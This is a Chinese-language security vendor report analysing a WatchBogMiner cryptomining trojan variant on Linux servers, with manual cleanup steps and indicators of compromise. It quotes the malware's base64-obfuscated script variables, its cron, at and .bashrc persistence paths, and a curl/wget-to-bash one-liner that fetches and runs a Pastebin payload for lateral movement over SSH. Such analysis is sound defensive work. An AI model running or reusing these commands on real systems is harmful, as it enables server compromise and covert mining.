一、背景 近期腾讯安全威胁情报中心检测到针对Linux服务器进行攻击的WatchBogMiner变种挖矿木马。该木马利用Nexus Repository Manager、Supervisord、ThinkPHP等服务器组件的远程代码执行漏洞进行攻击,在失陷机器安装多种类型的持久化攻击代码,然后植入门罗币挖矿木马进行挖矿。木马通过第三方网站Pastebin保存恶意代码以躲避检测,并且通过各类方法进行持久化,定期拉取挖矿木马加载到内存执行,同时会在启动后删除木马文件以达到“隐身”目的。 变种攻击代码还会通过失陷机器已认证过的SSH RSA进行SSH连接和执行远程命令进行横向移动,以扩大其影响范围。根据其钱包算力(120Kh/s)推测,木马已持续控制约1万台服务器进行挖矿。
腾讯安全系列产品应对WatchBogMiner病毒的响应清单: 二、样本分析WatchBogMiner使用Nexus Repository Manager 3 远程代码执行漏洞(CVE-2019-7238)、Supervisord远程命令执行漏洞(CVE-2017-11610)、ThinkPHP远程命令执行漏洞的EXP代码对服务器进行扫描和攻击,并通过Payload执行https[:]//pastebin.com/raw/1eDKHr4r。失陷机器被安装的恶意定时任务如下:
为了逃避检测使用第三方网站Pastebin来保存恶意代码,该网站不会被网络防御方判断为恶意网站。WatchBogMiner变种用于存放恶意代码的Pastebin账号为"LISTTIME",创建于2020年4月20日。 https[:]//pastebin.com/raw/1eDKHr4r跳转https[:]//pastebin.com/raw/UhUmR517
“UhUmR517”上保存的内容经过base64解码后,会得到以下shell脚本,包括有system()、cronhigh()、gettarfile()、download()、testa()、kill_miner_proc()等函数,会完成持久化、挖矿、横向移动等功能,是该病毒的主要攻击脚本。
脚本首先定义了4个变量,内容分别如下: house=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzFlREtIcjRy|base64 -d)
park=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2I1eDFwUnpL|base64 -d)
beam=$(echo c2FkYW42NjYueHl6OjkwODAvcnI=|base64 -d)
deep=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1NqaldldlRz|base64 -d)
surf=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3R5am5UUVRB|base64 -d) 经过base64解码后: house= https[:]//pastebin.com/raw/1eDKHr4r park= https[:]//pastebin.com/raw/b5x1pRzK beam= sadan666.xyz:9080/rr deep= https[:]//pastebin.com/raw/SjjWevTs surf= https[:]//pastebin.com/raw/tyjnTQTA 其中house、park、beam都会跳转得到“UhUmR517”脚本,而deep、surf会返回函数名“dragon”和“lossl”。
持久化模块通过多种方式定期执行远程shell脚本: 1.system()函数通过写入/etc/crontab文件,创建定时任务。
2.cronhigh()通过写入以下文件创建定时任务。 /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/system /etc/cron.d/apache /etc/cron.d/root /etc/cron.hourly/oanacroane /etc/cron.daily/oanacroane /etc/cron.monthly/oanacroane
3.cronlow()通过crontab命令创建定时任务。
4.cronbackup()通过at命令:echo "$pay" | at -m now + 1 minute添加定时任务,通过后台隐藏执行一段带有while循环的脚本:"while true; do sleep 600 && $pay; done",同样达到定时任务效果。
5.cronc()通过写入环境变量文件"/home/$me/.bashrc"、"/root/.bashrc"执行定时任务。
挖矿模块为download()和testa(),分别从https[:]//pastebin.com/raw/GMdeWqec、 https[:]//pastebin.com/raw/Esctfgrx下载$mi_64和$st_64,经过解码后得到XMRig、xmr-stak修改而成的挖矿程序,保存为: /tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data/javaUpDates(最初被发现时该文件名为watchbog)
然后从https[:]//pastebin.com/raw/SB0TYBvG下载得到挖矿配置文件。 矿池:pool.minexmr.com:80 钱包: 48S8kPXdSgubJYsMhpRTr4Ct1nznDzV9ohNMEbmKzgeJLwWPV2QfKzsNRDYoxWWMAdTW69EVBhRQuFr7BiCsMQoU9xAKW4U
对比新版和旧版的挖矿木马启动代码,发现新版代码在释放和启动挖矿木马之后,会sleep 15秒,然后通过rm -rf 命令将挖矿木马文件删除。 由于Linux系统进程启动时,会将文件完全映射到内存中,所以启动之后删除文件不影响已经在运行中的进程,木马用这一方法来抹掉文件痕迹从而达到隐身。木马已通过各类持久化任务定期拉取挖矿木马并加载到内存执行,即使每次执行后删除文件,也能达到挖矿进程长期驻留系统的效果。
该钱包目前挖矿获得门罗币28XMR,折合人民币13600元,矿池算力维持在120kH/s左右,这意味着持续有1万台左右的服务器被控制挖矿。
脚本还会通过Kill_miner_proc()找到并清除竞品挖矿木马。
通过Kill_sus_proc()杀死高占用CPU的可疑进程。
变种新增横向移动模块,获取/root/.ssh/known_hosts中保存的已通过SSH RSA公钥认证的IP,重新进行SSH登陆并执行远程命令进行内网扩散攻击: curl -fsSL https[:]//pastebin.com/raw/UhUmR517||wget -q -O - https[:]//pastebin.com/raw/UhUmR517)|base64 -d|bash >/dev/null 2>&1 &
三、手动清除建议:1、 检查是否有高CPU占用的进程javaUpDates,kill掉该进程: 映像文件路径(可能已被删除):/tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data/javaUpDates 2、检查以下文件是否有包含“sadan666.xyz:9080/rr”的定时任务,如有将其删除: /etc/crontab /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/system /etc/cron.d/apache /etc/cron.d/root /etc/cron.hourly/oanacroane /etc/cron.daily/oanacroane /etc/cron.monthly/oanacroane 同时通过crontab命令检查有无“sadan666.xyz:9080/rr”相关定时任务,如有将其删除。 3、通过atq命令查找at任务队列,删除“sadan666.xyz:9080/rr”相关作业。 4、检查是否存在进程/tmp/crun,如果该进程每10分钟请求一次 “sadan666.xyz:9080/rr”,Kill掉该进程。 5、检查配置文件"/home/$me/.bashrc"、"/root/.bashrc"是否包含“sadan666.xyz:9080/rr”相关内容,如有将其删除。
IOCsDomain sadan666.xyz IP 104.236.66.189 URL https[:]//pastebin.com/raw/1eDKHr4r https[:]//pastebin.com/raw/UhUmR517 https[:]//pastebin.com/raw/b5x1pRzK http[:]//sadan666.xyz:9080/rr https[:]//pastebin.com/raw/SjjWevTs https[:]//pastebin.com/raw/tyjnTQTA https[:]//pastebin.com/raw/Esctfgrx https[:]//pastebin.com/raw/GMdeWqec https[:]//pastebin.com/raw/SB0TYBvG https[:]//pastebin.com/raw/Zkz0d9Jz https[:]//pastebin.com/raw/mvSEGmR6 md5 mi_64 88b658853b9ececc48f5cac2b7b3f6f6 st_64 ad17226de6cc93977fb7c22c7a27ea8e 钱包: 48S8kPXdSgubJYsMhpRTr4Ct1nznDzV9ohNMEbmKzgeJLwWPV2QfKzsNRDYoxWWMAdTW69EVBhRQuFr7BiCsMQoU9xAKW4U
|